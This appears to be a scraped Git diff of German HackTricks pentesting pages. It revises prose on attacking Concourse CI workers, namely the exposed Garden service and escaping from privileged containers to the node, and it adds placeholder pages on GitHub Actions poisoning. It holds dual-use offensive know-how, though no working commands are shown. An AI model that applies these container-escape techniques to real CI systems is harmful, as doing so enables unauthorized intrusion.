Standardmäßig wird jeder Concourse-Worker einen [**Garden**](https://github.com/cloudfoundry/garden) Dienst auf Port 7777 ausführen. Dieser Dienst wird vom Web-Master verwendet, um dem Worker **anzuzeigen, was er ausführen muss** (das Bild herunterzuladen und jede Aufgabe auszuführen). Das klingt ziemlich gut für einen Angreifer, aber es gibt einige gute Schutzmaßnahmen:
|
||||
Standardmäßig wird jeder Concourse-Worker einen [**Garden**](https://github.com/cloudfoundry/garden) Dienst auf Port 7777 ausführen. Dieser Dienst wird vom Webmaster verwendet, um dem Worker **anzuzeigen, was er ausführen muss** (das Bild herunterzuladen und jede Aufgabe auszuführen). Das klingt ziemlich gut für einen Angreifer, aber es gibt einige gute Schutzmaßnahmen:
|
||||
|
||||
- Er ist nur **lokal exponiert** (127..0.0.1) und ich denke, wenn der Worker sich mit dem Web über den speziellen SSH-Dienst authentifiziert, wird ein Tunnel erstellt, damit der Webserver **mit jedem Garden-Dienst** innerhalb jedes Workers **kommunizieren kann**.
|
||||
- Der Webserver **überwacht die laufenden Container alle paar Sekunden**, und **unerwartete** Container werden **gelöscht**. Wenn Sie also einen **benutzerdefinierten Container ausführen** möchten, müssen Sie mit der **Kommunikation** zwischen dem Webserver und dem Garden-Dienst **manipulieren**.
|
||||
@@ -353,7 +353,7 @@ Allerdings funktionieren Techniken wie das **Mounten** des /dev-Geräts des Knot
|
||||
> [!NOTE]
|
||||
> Im vorherigen Abschnitt haben wir gesehen, wie man aus einem privilegierten Container entkommt. Wenn wir also **Befehle** in einem **privilegierten Container** ausführen können, der vom **aktuellen** **Worker** erstellt wurde, könnten wir **zum Knoten entkommen**.
|
||||
|
||||
Beachten Sie, dass ich beim Spielen mit Concourse festgestellt habe, dass die Prozesse des Containers zugänglich sind, wenn ein neuer Container zum Ausführen von etwas erstellt wird, sodass es ist, als würde ein Container einen neuen Container in sich erstellen.
|
||||
Beachten Sie, dass ich beim Spielen mit Concourse festgestellt habe, dass die Prozesse des Containers, wenn ein neuer Container zum Ausführen von etwas erstellt wird, vom Worker-Container aus zugänglich sind. Es ist also wie ein Container, der einen neuen Container in sich erstellt.
|
||||
|
||||
**In einen laufenden privilegierten Container gelangen**
|
||||
```bash
|
||||
@@ -411,6 +411,6 @@ Accept-Encoding: gzip.
|
||||
```
|
||||
## Referenzen
|
||||
|
||||
- https://concourse-ci.org/vars.html
|
||||
- [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
+2
@@ -1 +1,3 @@
|
||||
# Gh Actions - Artifact Poisoning
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+2
@@ -1 +1,3 @@
|
||||
# GH Actions - Cache Poisoning
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+2
@@ -1 +1,3 @@
|
||||
# Gh Actions - Kontext-Skript-Injektionen
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user